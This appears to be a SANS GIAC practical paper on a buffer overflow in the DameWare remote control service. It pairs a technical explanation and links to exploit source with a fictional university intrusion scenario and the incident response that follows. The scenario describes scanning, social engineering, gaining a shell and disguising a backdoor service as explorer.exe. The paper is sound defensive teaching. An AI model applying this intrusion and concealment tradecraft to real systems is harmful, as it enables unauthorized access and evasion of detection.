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Abstract

This paper describes how a computer attacker could employ readily available software
and Internet resources to locate sites running versions of the Microsoft Windows
operating system that utilize a third party remote control software package that is
vulnerable to a buffer overflow exploit. The use of a ready-to-use exploit (a pre-
compiled binary) that works against the remote control utility, DameWare, will be
presented. While the attack was studied within an isolated, controlled environment, this
paper will present the techniques in terms of an attack taking place within a university
environment. The latter portion of this paper presents the various stages of the incident
handling and response process.



©
 S

A
N

S 
In

st
itu

te
 2

00
4,

 A
ut

ho
r 

re
ta

in
s f

ul
l r

ig
ht

s.
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.

4

Statement of Purpose

This paper will present a detailed explanation of a buffer overflow vulnerability found in
the DameWare remote control service version 3.69.1 An attack against a vulnerable
version of DameWare will grant the remote or local attacker2 a command shell with
rights equivalent to those with which the DameWare service was running–often system
level privileges. Once the attacker has gained access to the system they may seek to
elevate their privileges on the system (if they didn’t gain sufficient rights with the initial
attack) or they may begin to modify the system to suit other purposes such as establishing
a file repository for movies, music, or images, which are commonly called “warez” 
(pronounced “wares”) in hacker jargon.

A precompiled binary found on the Internet was utilized to attack a controlled and
isolated environment. This paper will demonstrate and explain: how an attacker could
find and exploit a vulnerable system, how the attacker might maintain control of the
system and how the attacker could try to conceal any clues they may have left on the
system. The six stages of the incident response process will be presented though the use
of a scenario that adapts the events which occurred on the isolated network.

Objectives

 Demonstrate a buffer overflow attack using a precompiled DameWare exploit.
 Determine means by which similar attacks may be mitigated.
 Determine if a network or file system signature can be found to detect the attack.

The testing was conducted on an isolated virtual network (constructed with VMware 43)
and consisted of Red Linux 7.3, Windows 2000, and Windows XP. Each Windows
operating system was tested with various service packs installed, as a review of the
exploit source code indicated that the exploit had been designed to identify the service
pack level–which, in turn, aided in crafting the packet used to exploit the system. Other
than the service packs, the Windows systems were in their default states and not
subjected to any hardening. The Linux machine was used to monitor network traffic and
as the host operating system for the virtual network. The exploit binary uses Windows as
the attack platform. Windows XP Professional and Windows 2000 were used to launch
and receive the attack. DameWare was installed on Windows XP Professional with the
default options.

1 Dameware website: www.dameware.com
2 A few security bulletins claim the exploit is remote only. Testing revealed that a local user could also
successfully utilize the exploit.
3 VMware website: www.vmware.com
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The Exploit

CERT VU# 909678 identifies the attack as: “DameWare Mini Remote Control Pre-
authentication Buffer Overflow Exploit.”4 BugTraq has assigned the exploit
identification number 9213. At the time of this writing, no CVE number exists or is
pending. The Secunia website rates the vulnerability a three on a scale of five, or
“moderately critical.”5

Information about DameWare itself can be found on the company website, at
http://www.dameware.com/products/. It is important to note that the company responded
in a very timely fashion once they were notified of the vulnerability, as seen in the
timeline of events below.

Exploit Timeline obtained from the DameWare website, security bulletin #2.

November 23, 2003–First contact with WirePair.
November 24–Company responds to WirePair stating they will investigate the issue.
November 26–Hot fix given to WirePair for testing.
November 27–WirePair confirms the hot fix resolved the buffer overflow issue.
December 4–DameWare version 3.73 released for download.
December 14–WirePair releases advisory.
December 20–WirePair releases his exploit code.

It is noteworthy that the discoverer of the exploit, WirePair, chose to contact the maker of
DameWare and work with them to resolve the vulnerability prior to releasing his exploit
code. The timeline shows that nearly a month passed between WirePair notifying the
makers of DameWare and the availability of exploit code6. It appears that two days after
WirePair made the announcement of the DameWare vulnerability, one or two other
persons developed the exploit used in this paper.7 The source code for the exploit
contains a date of December 16, 2003 and was posted on December 19, 2003 on
BugTraq. The comments within the code list one or possibly two names other than
WirePair. One of the names, Adik, is the poster of the exploit code that appeared on
December 19 and is listed as the exploit’s author while another word, possibly a name,
Bishkek, is listed near the date entry. WirePair’s announcement was somewhat technical 
and, assuming he was working alone, this could be a case where another individual or
small group of individuals were able to produce an exploit by simply knowing a few
details about a certain weakness that existed in DameWare. Some within the information
security field believe that many exploits are crafted by attackers that study the differences
in a system once patches are released and applied. Studying these changes enable the
attackers to zero in on areas of the software that are presumably vulnerable. Exploit
advisories are often detailed as to the nature of the vulnerability which further serves to
focus the attacker’s efforts when crafting an exploit.

4 http://www.kb.cert.org/vuls/id/909678
5 http://secunia.com/advisories/10439/
6 WirePair’s initial advisory:  http://www.securityfocus.com/archive/1/347576
7 Adik’s post on December 19, 2003:  http://www.securityfocus.com/archive/1/348095
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Operating Systems Affected

According to the exploit code written by Adik, DameWare version 3.72.0.0 on Windows
2000 Service Pack 3 and Windows XP Service Pack 3 are affected.8 The comment in the
code pertaining to Windows XP Service Pack 3 is assumed to be a typographical error, as
no Service Pack 3 for Windows XP currently exists. The exploit binary, when run,
displays the correct value for Windows XP (this can be observed in the screen shot of the
running exploit presented later in this paper.) The precompiled binary used in the test
environment was able to exploit Windows systems running service packs not listed in the
source code. Exploits have appeared that add to the number of service packs known to be
exploitable, so that nearly any version of Windows with nearly any service pack can be
exploited. DameWare Security Bulletin #29 lists Windows NT and Windows 2003 as
vulnerable operating systems. Though DameWare will run on Windows 9x/ME, those
operating systems do not contain a command shell (cmd.exe) capable of binding to a
remote system which hinders the attacker on this platform.

Protocols, Services, and Applications Exploited by the Attack

The exploit code takes advantage of a design flaw in any DameWare Mini Remote Client
Agent Service (dwrcs.exe) prior to version 3.73.0.0. DameWare is a tool often used by
Windows system administrators and help desk staff to remotely control servers across
networks. The DameWare software can act as a client, meaning that it will foster a
connection to other systems, and it can act as a server, meaning that other systems can
connect to it. Many people have experienced a client/server relationship while surfing
the web. When web surfing, the web browser software (such as Internet Explorer,
Mozilla, Netscape, or Opera) acts as a client that connects to a web server which serves
or delivers the viewed content. The web browser software (the client) knows how to
connect to a web server because web servers typically listen for browser requests on port
80. DameWare (when acting as a server) performs a function similar to a web server,
listening to requests from clients on a particular port - TCP port 6129 by default.

TCP, or Transport Control Protocol, is a set of rules that defines how two systems will
communicate over a network. One way to think about protocols is in terms of languages.
If you encounter a person that speaks English, German, and Italian, yet you speak
English, German, and French, then the two of you will have to decide which language,
common to both of you, that you will use to communicate with one another. TCP works
much the same way. There is a seven layer (or four layer, depending on whose
implementation you’re using) model called the Open System Interconnection (OSI)
model used to describe the entire process computers use to get data from one place on a
network to another. TCP sits roughly at the midpoint of this process, or protocol stack, as
higher level protocols such as http and FTP use TCP to ensure delivery of their packets.
Directly under TCP is IP, or the Internet Protocol, which merely hands packets off
without much concern on whether the packet is valid. IP in turn sits on top of another

8 http://www.securiteam.com/exploits/6R00L0K95W.html
9 http://www.dameware.com/support/security/bulletin.asp?ID=SB2
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layer that communicates with a physical network device. TCP is made reliable because
of its use of a “three-way” handshake.  When establishing a connection using TCP the 
server that initiates the communication (the source) first sends a SYN, or synchronize
packet to the computer that it intends to establish a connection with. The destination
computer then responds to the source computer by sending a SYN-ACK, or synchronize
acknowledge packet. In the third and final step the source computer responds to the
destination computer by sending an ACK, or acknowledge packet. At this point, and
only at this point, the connection is established. Exploits that employ TCP are difficult if
not impossible for the attacker to launch from a“spoofed”(ie, forged) internet address
and be successful because a forged synchronize packet will cause the target machine to
reply to the address associated with the forged packet. The attacker would have to be in
control of the system where the SYN-ACK packet would be sent for the exploit to be
successful.  The attacker’s true location would be revealed since the final stage of the
three-way handshake would result in an ACK packet from the attacker controlled
machine at the forged address replying to the targeted machine.

The design flaw present in vulnerable versions of DameWare allows an attacker carry out
a type of attack known as a buffer overflow or stack pointer attack. A buffer overflow
occurs when a computer program attempts to pack more data into a buffer (a defined
temporary storage area) than it can hold. The excess data overwrites valid data and can be
interpreted as program code and executed.10 A final concept in memory stacks is the idea
of a pointer to the next instruction to be executed, or EIP (Effective Instruction Pointer).11

The EIP will appear later in this paper, as is it central to the execution to the buffer
exploit presented.

Variants

There are several variants of the DameWare exploit found on the Internet. A review of
the various exploit source code reveals that these variants increase the functionality of the
exploit by adding information about memory offsets known to be exploitable on versions
of Windows with different service packs installed. The enhanced functionality enables
the attacker’s program to cause buffer overflows on a larger number of Windows
systems.

Three versions of the DameWare exploit in source code form appear on the BugTraq
website. Each version appears to be written by a different author. The source code
packaged with the binary that was studied for this paper can be found in Appendix B.
Exploit code may be removed from the websites where it is initially found. To deal with
possible removal, MD5 checksums of the RAR file and its contents are shown in Figure
1.

10 http://www.computerworld.com/securitytopics/security/story/0,10801,82920,00.html
11http://www.2600.org.au/misc/files/seminars/ 2001-04-Apr/shaun.ppt
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Figure 1–MD5 checksum of the exploit package and package contents.

A general explanation of the exploit can be found at the SecurityFocus website at the
URL, http://www.securityfocus.com/bid/9213/.

Windows source code to three exploits can be found at these URLs:
http://downloads.securityfocus.com/vulnerabilities/exploits/dmware.c
http://downloads.securityfocus.com/vulnerabilities/exploits/DameWare-MRC-Remote.c
http://downloads.securityfocus.com/vulnerabilities/exploits/DameWeird.c

WirePair’s website also contains a link to a DameWare exploit in source code form
named dmwrcexp.c. According to the comment on the website the code will compile and
execute under Linux or Windows.12

Description

WirePair’s original alert of December 14, 2003 states that DameWare versions prior to
version 3.73 are vulnerable to a buffer overflow that enables the attacker to bind cmd.exe
to a port on a remote host (a technique referred to as “shoveling the shell”). The exploit,
if successful, will result in the attacker receiving a command shell with the same
privileges as the DameWare service.

The exploit is a result of a design flaw in a portion of the DameWare software that
handles input validation. DameWare makes use of strcpy to copy several values
received over the network to other locations in memory. These values are obtained
during a login attempt to DameWare (the pre-authentication phase) and consist of: the
local username, the remote username, the local NetBIOS name, company name,
registration name, registration key, the date and time, the lowercase NetBIOS name, any
IP addresses of the client, and the version of the remote client. DameWare does not carry
out sufficient validation of this information, which makes it possible for an attacker to
construct a packet that overflows the memory stack, or buffer, thereby allowing arbitrary
code to be executed on the attacked system.

As previously mentioned, a buffer overflow occurs when a computer program attempts to
put more data into a memory buffer than the buffer can hold. The excess data can
overwrite valid data and be interpreted as program code and executed. One way to look

12 http://sh0dan.org/files/dwmrcexp.c
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at a memory stack in more everyday terms is to imagine the memory stack as an egg
carton that can hold a dozen eggs. If the carton already contains six eggs and you try to
add eight eggs, two of the eggs will not fit. The two extra eggs overflow the carton,
producing the undesirable result of broken eggs. There are numerous sources on the
Internet, not to mention a number of books that discuss buffer overflows in one form or
another. Phrack (an ezine) published a paper by Aleph One titled “Smashing the Stack 
for Fun and Profit;”13 it is considered to be the “how-to” guide for buffer overflows.

The exploit program probes the target machine running the DameWare remote control
software in order to determine the operating system type and service pack level. During
the initial probe of the system DameWare will respond with two packets which are read
by the exploit tool. The first packet contains the service pack installed on the system and
the 16th and 17th bytes of the second packet identify the operating system. This
information is used by the exploit to construct a packet that is sent to the DameWare
service. This packet contains a payload intended to cause a buffer overflow in the portion
of the DameWare service that uses strcpy.14 There are a handful of commonly used
functions that do not check array boundaries. They include strcpy, strcat, sprintf, gets,
and system.15 Each of the functions has a more secure counterpart: stryncpy, strncat,
snprintf, fgets, and exec. Also included in the payload are instructions that will cause
the execution of cmd.exe, yet have the resulting command shell window open on the
attacker’s system.  This results in the attacker gaining access to the system running
DameWare, with the attacker having the same rights and privileges as the DameWare
service. Often DameWare is installed with system privileges, meaning the attacker will
also gain those privileges should the exploit be successful (the comments found within
the source code of the exploit indicate that that exploit may only work against Windows
operating systems of a certain patch level, due to the fact that those patch levels are what
the author or authors of the code had available for testing).

Let’s examine how this exploit might be utilized and how it might be discovered. 

The Scenario

For the purposes of this paper, a fictitious scenario has been created that takes place
within the network of a university. The attack is carried out by an insider; such a person
is generally considered to be the most knowledgeable and dangerous type of adversary to
face when forced to respond to an incident.16

Our attacker,“D-fiant,”disgruntled that her university has begun using a collection of
Perl scripts, that thwart her efforts at downloading music from the internet, seeks to

13 http://www.shmoo.com/phrack/Phrack49/p49-14
14 The use of strcpy appears in WirePair’s advisory.  Why DameWare uses strcpy isn’t clear because the 
source code isn’t generally available.  A better choice might be strcpyn.
15 NCSA Secure Programming Guidelines:
http://archive.ncsa.uiuc.edu/General/Grid/ACES/security/programming/
16 http://www.computerworld.com/securitytopics/security/story/0,10801,70112,00.html
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establish a new means though which she and others may obtain music for free. Armed
with a computer running Windows 2000 Professional and shell access to a system
running Linux, D-fiant begins the reconnoitering process so she can locate systems to
establish a music sharing site that will avoid detection by theuniversity’s collection of
scripts, known as DAEDALUS (Data Analysis Extraction Daemon Accessing Live
University Systems).

D-fiant works for the university, so she is somewhat familiar with the network and the
devices attached to it. She knows that most of the university, including the students, uses
versions of the Microsoft Windows operating system. From her conversations with co-
workers she is aware of certain departments within the university that use DameWare as a
remote administration solution. Part of D-fiant’s regular job duties include staying
abreast of vulnerabilities and patching vulnerable systems. To accomplish this aspect of
her job she is subscribed to various computer security mailing lists and she reads several
security web sites daily. She becomes aware of an exploit against the DameWare service
while reading the BugTraq mailing list. Confident that an exploit will appear soon on the
Internet, D-fiant decides to start searching for systems on campus that are running
DameWare. As a junior system administrator, one of her regular duties involves using
the port scanner nmap from a Linux box to scan systems on their segment of the
network. Logging in to the Linux box as the root user, she invokes nmap to perform a
syn stealth scan with remote operating system identification for systems with a service
listening on port 6129. The output from the scan is saved to a file on the Linux box. The
attacker checks the contents of the file containing the results of the scan just to see if she
found anything interesting. She notes an IP address of a Windows system that has a
service listening on port 6129. She copies the file to a floppy disk and deletes the file
from the Linux system.  It’s late in the afternoon, so she decides to go home and return to
campus over the weekend to carry out the attack.

Taking advantage of an all-night campus computer lab, our attacker enters the lab and
flashes her identification card at the help desk. The lab does not scan the identification
cards, nor is any attempt made to validate the card. The lab lacks a video surveillance
system due to budgetary constraints and the opinion that the round the clock staffing
should deter theft. Our attacker settles into a seat next to a fellow that appears, from the
looks of the area around him, to have been working at the computer for quite some time.
After making several “attempts” at loggingin, all unsuccessful, our attacker lets out a
small sigh of frustration and turns to the person sitting next to her. She briefly explains to
him that she’s having trouble logging on to the computer network. The guy makes few
attempts at logging her in with the username she provides. Unbeknownst to him, the
username she has provided is invalid. Claiming she needs log in to obtain a class
assignment that is due soon, the guy decides to help her by logging her in to the computer
network under his username.  The network’s auditing system notes that user, adumas, has 
logged in on workstation 357 at 21:50 March 7, 2004.

The attacker, now concealed as another user, uses Internet Explorer to browse the Full-
Disclosure website. Earlier in the day she noticed that a binary exploit for DameWare
had been posted to the site. She downloads the exploit onto the Windows system in the
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lab at 21:54 and unpacks it. Opening a command shell on the Windows system in the
lab, she runs the exploit. The exploit responds with a friendly usage screen that tells the
attacker the proper syntax to invoke the attack. She invokes the attack at 22:03:54 with
the proper syntax and is presented with a command shell from the remote Windows
system almost immediately. On the exploited Windows XP system, three entries are
made in the Application Event Log at 22:03:55. Right away she runs the command, dir
/s to determine how much free disk space is available. Pleased to see that the drive has
nearly 100 gigabytes of free space, she decides to set up an MP3 repository.

To keep access on the remote system, she decides that the easiest thing to do is to simply
copy the existing DameWare installation to a new directory. Though she knows a
running service can be detected, she decides that she can make the detection process a bit
more challenging. She edits the configuration file that determines which port DameWare
runs on and changes it to port 8080 in an effort to make anyone that might look at the
network traffic believe that they are looking at web proxy traffic. She also renames the
DameWare service to explorer.exe in an effort to keep the process from looking
suspicious if viewed from the Task Manager. She hides the directory in two ways: first
by placing it in the Windows directory, and second by setting the hide attribute.17 Her
final step is to start her renamed DameWare service by using the net start command.

She then uses the ftp client that ships with Windows to download the Serv-U FTP server.
She configures and starts Serv-U in the usual fashion, which results in Serv-U listening
on TCP port 21. The FTP server also provides the attacker with limited access should
something happen to either of the DameWare processes. To test the FTP server and to
seed her music repository, the attacker beings uploading MP3s from several CDs she
brought in to the computer lab. The MRTG process polling the switches in the computer
lab note an increase in bandwidth consumption from the station attached to port 37.
While the MP3s upload to the FTP server she starts up an internet relay chat client and
connects to one of her favorite IRC servers. It is late on a Sunday night and there are few
users on the campus network so the upload of MP3s does not take very long. She is able
to upload nearly two gigabytes of MP3s and leave the computer lab before midnight.
Before she leaves the computer lab she tells the people on the IRC channel that she’s 
found a small collection of MP3s on an anonymous FTP server and gives them the IP
address. She privately tells a couple of people how to get into the FTP server to upload
files once they state they have MP3s to share but don’t have enough bandwidth to let 
many people download the MP3s. Just before she logs out of the computer, she deletes
the exploit she downloaded and purges the files from the recycle bin. The auditing
system notes that user, adumas, logged out of station 357 at 23:51 March 7, 2004. No
one notices the attacker leave the computer lab as everyone present is either occupied
with school work or playing UT2004.

17 Crackers will often place toolkits or other materials in subdirectories under directories containing a large
number of entries.  This is an attempt to hide in “plain sight” because most people will not read every
single entry in a directory. In this case the attacker takes it one step further and hides the actual directory
containing the files she’s uploaded.  Hiding a directory is not difficult and can be done with the attrib 
command. This web page contains instructions on how to use attrib:
http://www.microsoft.com/resources/documentation/windows/xp/all/proddocs/en-us/attrib.mspx
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The computer lab where the attack occurred uses an automated Norton Ghost process to
restore each of the Windows 2000 Professional systems to a known good state. Each
day, starting at 03:00, the 400 systems in the lab are restored to a known good state. The
system used by the attacker was restored by the Ghost process automatically at 04:00 on
March 8, 2004.

Late Monday morning, March 8, 2004, about twelve hours after the attack, the user of the
compromised Windows XP box notices that his system is running very slowly. He calls
his local IT help desk and explains that his computer is running very slowly and it takes a
long time for web pages to load or files to open across the network. The help desk,
hearing the user’s description of the problem, assumes that the cause is typical of a
Windows system that needs to be rebooted. Rather than spend time trying to
troubleshoot a problem that will probably be resolved by simply rebooting the
workstation, the helpdesk tells the user to reboot. The user reboots around 11:45 and
experiences no problems with his computer until he goes to lunch at noon. At noon, he
locks his workstation and goes to lunch. After returning from lunch at 13:00, the user
tries to unlock his workstation. The workstation unlocks but seems to be running slow
again. Thinking that he needs to reboot the machine, he reboots and continues working.
As the afternoon wears on, the user believes that his workstation is steadily slowing
down. Around 15:00 he reboots his computer for the third time that day. While the
computer reboots, he calls the help desk and informs them that he’s had to reboot his 
computer a total of three times today. He explains that the computer seems to be fine for
a short time after rebooting but it gradually slows down and usually needs to be rebooted
every two to three hours. The help desk again assumes the user is experiencing normal
behavior for Windows and tells the user that he may want to run Windows Update to see
if all of his patches are installed. The user runs Windows Update which finds that no
patches are required on his system. At 17:00 the user leaves the office and goes home.

On the morning of March 9, 2004, the user of the Windows XP box comes into the office
and finds he is unable to log in to his workstation. Without calling the helpdesk, he turns
the workstation off, then on, and is able to log in. Within an hour, the workstation
becomes unusable. At 09:00 he calls the helpdesk. The system administrator is within
earshot of the helpdesk technician that takes the call from the Windows XP user. He
hears the user recount the reboots of the previous day and the circumstances surrounding
them.

The system administrator reviews the network utilization graphs. The graph began at
midnight, Sunday, March 7, 2004. The graph showed that the user’s machine received an 
unusually high volume of traffic in the hour or so prior to midnight Monday morning.
The graph also showed an unusually high volume of outbound traffic from the machine
starting around 03:00 Monday, March 8, 2004.

The graph showed a high volume of traffic outbound from the machine for most of the
day Monday. The administrator noticed that there were a couple of brief periods around
11:30 and 13:00 where the traffic level dropped considerably only to slowly rise again
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(corresponding to the reboot times). The administrator calls the workstation user on the
phone and tells him he is going to initiate a remote desktop session with the system.
Once on the system the administrator executes cmd.exe then issues the command,
netstat–na18. The netstat command revealed numerous inbound connections to the
workstation on port 21, the port usually associated with FTP. The administrator also
notes several other ports are open, some that are associated with Windows Active
Directory while others were not immediately recognized. The administrator re-runs the
netstat command adding the–o option to show the process IDs associated with the port
numbers. The system administrator makes a screen capture of the output and prints it.
Since no workstation should be running an FTP server, its presence along with a listening
process called “explorer” which the administrator knew was usually the Windows
Explorer, made the administrator decide to visit the user to ask him a few questions. The
administrator thought there might be a simple explanation, but in the back of his mind he
began to wonder if the workstation might have been compromised. The IT staff had been
successfully preventing numerous workstations in their charge from being infected by the
many viruses that had been recently plaguing the Internet, but maybe a virus had finally
managed to infect a system.

At 9:30 the system administrator arrives in the office where the Windows machine is
located. He asks the user about the FTP server, to which the user responds that he did not
realize an FTP server was installed on his system. The administrator did not ask the user
about the installation of DameWare, as he was aware that some departmental IT staff
used the product to assist with support calls. The administrator asked the user if he had
installed any software recently or if he had received any unusual emails. The user stated
that he’d installed no software, nor had he received any unusual emails.As the
administrator has no reason to doubt the user, he asks the user if he can check out a few
things on the user’s machine. Acting on the suspicion that the system may have been
compromised, the administrator sits down at the workstation and considers what actions
he should take. The administrator carried a USB thumb drive on his key chain. He had
several command line tools from the SysInternals website19 on the thumb drive. Using
one of the tools from the thumb drive, pslist, the system administrator matches the
process IDs in the printout to the services running. One of the previously unrecognized
services listening on port 6129 was identified as DameWare Remote Control Service
while a process named explorer.exe was identified as listening on port 8080.

The administrator finds Windows Explorer running and briefly examines the hard drive
looking for the directories in use by the FTP server. Aware that his actions may alter the
system -- or worse, activate a trojan horse program -- he is careful in what he does. He
briefly considers documenting his actions, but had not brought his notebook to the user’s 
office.

18 Normally you would not execute the copy of netstat found on a compromised system as it may be
compromised. A better practice is to execute known good binaries from secure media. At this point in the
scenario, the system administrator is unaware that the system has been compromised.
19 http://www.sysinternals.com
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Believing that he is looking at a compromised system, the administrator returns to his
office to retrieve his Linux laptop, a hub, network cables, and a spiral bound lab
notebook. Having read numerous papers on a wide range of security topics found on the
SANS website, the administrator believes that he is prepared to take action and respond
to the incident. Once back in the office where the suspect Windows box is located, the
administrator removes the network cable from the wall and connects it to the hub. He
then connects the hub to the wall with a length of category-5 network cable which
restores the Windows box’snetwork connection. The administrator cables his Linux box
to the hub and starts up Ethereal, a protocol analyzer with a graphical interface. The
administrator sees numerous FTP connections to the Windows system from a wide range
of off-campus IP addresses. The administrator speculates that the Windows machine’s
poor performance was probably a result of the high volume of traffic resulting from the
installation of a rogue FTP server. Leaving Ethereal running, the administrator goes back
to the Windows machine and views the Event Logs to see if there is anything of use in
explaining what may have happened to the system. After a short search, the
administrator locates several entries in the Applications log that indicate the service
dwmrcs experienced an error at 22:03:55 (the time was presented as 10:03:55 PM in the
Event Log). The administrator observes that the time on the machine is correct and is in
agreement with the server’s time.20

Using Google from his laptop, the system administrator does a search on the terms
dmwrcs and DameWare. This leads to the DameWare website. Also included in the
search results were several security notices concerning DameWare exploits. From the
DameWare site and several of the links provided by the Google search, the system
administrator learns that there have been several exploits against DameWare within the
last year.

At this point the administrator believes that he’s dealing with a compromised host, so he
disconnects the hub from the Internet, leaving the compromised system on the hub with
the Linux laptop. He opens his lab notebook, turns to a new page, and enters the date and
time along with a summary of what he’s done to the Windows PCup to this point. A
note is made about the port information (of the switch) and the system admin returns to
his Linux laptop which is still running Ethereal. He stops the capture and has Ethereal
reconstruct a TCP stream to see just what is coming from the FTP server. In short order
he has a 3.5 megabyte file that he saves to a file named FTPunknown. Using the file
command onthe captured data, “FTPunknown” reveals that the datais an MP3. He
returns to the Windows system and begins searching for all files with an MP3 extension.
The search reveals that there are many directories, each named for an artist. In total,
there are nearly 10,000 MP3s on the system.

The system administrator knows the machine has been rebooted, therefore he doesn’t 
think that there’s anything of value in the memory of the system. Clearly the machine
has had some modifications. The system administrator calls the help desk and requests
delivery of a new hard drive to the user with the compromised system and use of the

20 Certain types of networks, Netware networks for example, depend on time synchronization and will set
the client PC’s clock to the network time once a user logs in to the network.
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Ghosting procedure to get the user up and running again. (Users on this network save
files to their home directories on the file servers because file servers, not workstations,
are backed up. It is a standard policy of the IT department to re-Ghost a Windows system
that is perpetually malfunctioning, as re-Ghosting often resolves the problem and is
cheaper in terms of labor costs when compared to trying to diagnose the source of the
problem.) The system administrator makes an entry in his notebook stating that he’s 
removing the hard drive; he then removes the hard drive from the compromised system,
packs up his laptop, the hub, the compromised hard drive, and returns to his office.

The university has no formal incident response process nor does it have a regular incident
response team. The system administratorgoes into his supervisor’soffice and tells him
that he believes he’s taken a compromised Windows XP machine off the network.  He 
gives his boss a summary of what has transpired up to this point:

 User calls in reporting a slow machine–told by the help desk to reboot
 A review of the network traffic graphs shows that there’s been an increase in 

inbound and outbound traffic to the host in question.
 A visit to the machine turned up a service that’s used to remote control systems–

the service has known exploits.
 An FTP server was running on the compromised host and was serving MP3s. An

MP3 was caught and saved by using Ethereal to capture an FTP session.
 The compromised computer’s hard drive has been removed.

The system administrator and his boss decide to acquire an image of the compromised
hard drive. They install the drive from the compromised Windows XP machine into a
system used to dual boot Windows 2000 Professional and Red Hat Linux 9. The
compromised drive was attached to the secondary IDE controller which had been
modified in the BIOS to prevent the system from booting from the secondary controller.
The computer is first booted into Linux and the dd command is used to acquire a bit
image of the drive attached to the secondary controller. The drive image acquired with
the dd process is ultimately stored on a network file server. The computer is rebooted
into Windows 2000 Professional where the Ghost application is used to create a copy of
the compromised hard drive. The Ghost image is stored on a network file server and later
transferred to a new hard disk so the data contained on the compromised drive may be
studied without impacting the original drive. After acquiring the Ghost image, the
compromised hard drive is removed, placed in a static bag and taped shut. The system
administrator’s boss then deposits the hard drive into the office safe.

The system administrator and his boss review the network graphs and other data in an
effort to determine where the attack originated. The compromised Windows machine did
not log any IP address information, so tracing the attack is a bit more challenging. The
administrator notices that the bandwidth utilization was above the network baseline for a
period of several hours. One of the newer, and not yet widely known, features of
DAEDALUS is the bandwidth hog module. This module, inspired by a similar CPU hog
function found on some operating systems, identifies systems that are consuming an
unusual amount of bandwidth compared to established network traffic baselines. The
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system administrator calls the DAEDALUS project manager and explains that he’s trying 
to locate the system or systems that were communicating with the compromised
Windows machine and consuming large amounts of bandwidth during a certain date and
time. The project manager takes the information and tells the system administrator that
he will be in contact him once he has the information. After an hour or so, the system
administrator has a list of IP addresses, internal and external to the university that were
sending or receiving large amounts of data from the compromised Windows machine.
The system administrator observes that the list is sorted by time in ascending order. The
firstentry on the list grabs the administrator’s attention as its time stamp is within a few
minutes of the DameWare time stamps on the Windows machine. Further, the data
shows that the port in use was port 21. The administrator examines the IP address
associated with the transfer and recognizes the network portion as belonging to the
university. A DNS query indicates provides the hostname of the machine in question.
The name returned by the query tells the system administrator that he is dealing with a
system in one of the campus computer labs. The system administrator sends an Instant
Message to one of the campus computer lab managers he happens to know and asks him
if he can help locate the machine in question. The lab manager informs the system
administrator of the location of the system. The system administrator inquires about any
logging that’s taking place in the lab.  The lab manager advises the system administrator
that he has logs of user logins as well as bandwidth utilization logs collected from the
switch (the system administrator had actually assisted with the installation of the
bandwidth utilization software in the past).

The initial data from DAEDALUS provided the system admin with a suspect machine
that appeared to have been involved in the attack against the Windows XP machine. The
system administrator asks the lab manager for two hours of login data about the suspect
machine centered on the time indicated in the DAEDALUS logs that correspond to high
bandwidth utilization. While the query for the data runs, the system admin asks the lab
manager if the machine in question (the one D-fiant used to launch the attack) is still
available. The lab manager informs the system administrator that the machine is still
available. The system administrator asks the lab manager to secure the machine so that
he can study the hard drive as it might have materials left behind by the attacker. The lab
manager tells the system administrator that he can turn the machine over to the system
administrator for study, but the lab uses an automated Ghosting process to restore each
machine every night. The machine in question has been re-Ghosted several times at this
point. The system administrator is told that re-Ghosting process sends an email to the lab
managers if the re-Ghosting process fails on a system. The machine in question had no
such failure. Upon hearing this, the system administrator decides not to examine the
system he believes was used to initiate the attack. This choice was made because he
knows that one sure way to get rid of a file is to overwrite it multiple times. The
Ghosting process would have over-written the hard drive each time it ran.

Once the query finished, the lab manager turned over log information indicating that only
one person logged in to the machine in question over the span of four hours. The log in
name used on the system was adumas. The lab manager tells the system administrator
that adumas is the log in name for the user, Andre Dumas. The system administrator



©
 S

A
N

S 
In

st
itu

te
 2

00
4,

 A
ut

ho
r 

re
ta

in
s f

ul
l r

ig
ht

s.
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.

17

consults the on line campus directory and learns that Andre Dumas is a third year civil
engineering student at the university.  The system administrator has Mr. Dumas’ 
computer account deactivated and requests that the lab send Mr. Dumas to the system
administrator’s office should he inquire about the status of his computer account.

Mr. Dumas presents himself, and is told that there is an investigation underway involving
a violation of the campus acceptable use policy.  Under questioning he says he didn’t do 
anything wrong. He insists that he was working on a school project most of the evening
and into the early morning hours (the logs did not confirm this statement, as the system
administrator only had part of the picture at the time). Andre is asked if it’s possible that
anyone else could have used his account without his knowledge. Andre states that he
doesn’t think anyone else has used his account. Then he recalls helping a woman log in
to the network after having trouble logging in under her user name. Andre is asked for
the name of the woman, to which he says he does not know, nor does he recall the user
name she was trying to use. Andre gives a description which would match hundreds of
women on campus. The only distinguishing characteristic about woman was that she
seemed to be listening to a “really odd” type of music.

The system administrator has no solid evidence to work with so Andre is allowed to
leave. As Andre departs the office he hears music similar to what he heard the night he
helped the woman in the computer lab. He returns to tell the system administrator that he
hears music similar to what he heard the night he helped the woman. The system
administrator, his boss, and Andre go to the source of the music which is coming from
Catherine’s office. As they enter the office Andre states that this is the woman he helped
log in to the network. The system administrator and his boss think that Andre is merely
trying to get out of trouble by blaming Catherine. Andre insists that Catherine is the
woman he helped and Catherine is just as adamant that she does not know what Andre is
talking about.

The system administrator and his boss confer in private and develop a course of action.
They decide to investigate Andre’s claim that Catherine is actually the person that pulled
off the attack. In an attempt to determine the truth, the system admin contacts the lab
manager and requests that he run another query on the login activities of user adumas for
the date in question. The logs show that Andre had logged in twice that night, on
adjacent computers.  Andre’s second login was several minutes prior to the large amount 
of FTP traffic.  This leads the system administrator and his boss to believe Andre’s story.

The system administrator examines the hard drive image of the compromised system. He
quickly finds the MP3s that were uploaded and placed on the FTP server. In the
directory he also finds several files that turn out to be playlists.

The system admin searches Catherine’s home directory on theserver and finds many
MP3s that match those on the compromised system. The backup logs indicate that the
files have been on the server for several months (long before the compromise). This tells
the system administrator that Catherine did not copy the files from the compromised
system.  Within Catherine’s home directory the systemadministrator finds playlist files
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that matched the playlists from the compromised system. Checksums were computed for
all the playlists found and on randomly selected MP3s from the compromised system and
from the file server. The checksums were used to show that the playlists and MP3s,
while found in different locations, were actually the same. It was concluded that during
the FTP process to the compromised system that Catherine had inadvertently copied the
playlist files. As the file server Catherine regularly used contained the same playlist files,
it was speculated by the system administrator’s boss that she likely didn’t realize the files 
were present on the compact disc media.

Using the questioning techniques outlined in several of the early GCFA papers found on
the SANS website, Catherine’s boss, along with a representative from Human Resources,
